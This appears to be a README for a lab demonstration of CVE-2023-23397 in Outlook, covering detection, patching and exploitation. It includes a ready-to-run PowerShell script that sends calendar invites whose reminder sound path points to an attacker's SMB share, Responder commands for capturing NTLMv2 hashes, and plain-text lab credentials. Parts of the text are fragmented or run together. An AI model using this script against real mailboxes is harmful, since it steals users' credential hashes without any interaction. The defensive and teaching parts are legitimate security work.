
Demonstration of CVE-2023-23397 Outlook Privellege Escalation vulnerability
This project demonstrates the detection, exploitation, and mitigation of CVE-2023-23397, a critical zero-click NTLM relay vulnerability in Microsoft Outlook for Windows. Exploited via calendar invites, this vulnerability allows attackers to capture NTLMv2 hashes without any user interaction.
🛡️ CVSS Score: 9.8 (Critical)
🖥️ Affected Versions: Outlook 2013, 2016, 2019, Microsoft 365 (before March 14, 2023 patch)
Outlook’s calendar reminders can be configured to play custom sounds via the PidLidReminderFileParameter MAPI property. Outlook fails to validate UNC paths, allowing remote SMB requests when reminders are triggered.
\\attacker-ip\share\sound.wav
This causes NTLMv2 hashes to be sent to attacker-controlled servers, which can then:
Use MFCMAPI to inspect calendar items and check for malicious values in PidLidReminderFileParameter (MAPI tag 0x851F001F).
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F to view reminder file pathsInstall the March 14, 2023 patch (e.g., KB5002044). The patch introduces:
IsFileZoneLocalIntranetOrTrusted() to validate reminder file pathsTest Result:
Outlook will log Event ID 1008 and block access to untrusted SMB paths.
192.168.1.0/24)📂 Pre-built policy: OutlookMitigation.ipsec
| System | Username | Password |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| Email Account | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Make sure Kali and the victim VM are on the same network.
Install:
Setup:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder will capture the NTLMv2 hash from the victim system.
PidLidReminderFileParameter contains a UNC path.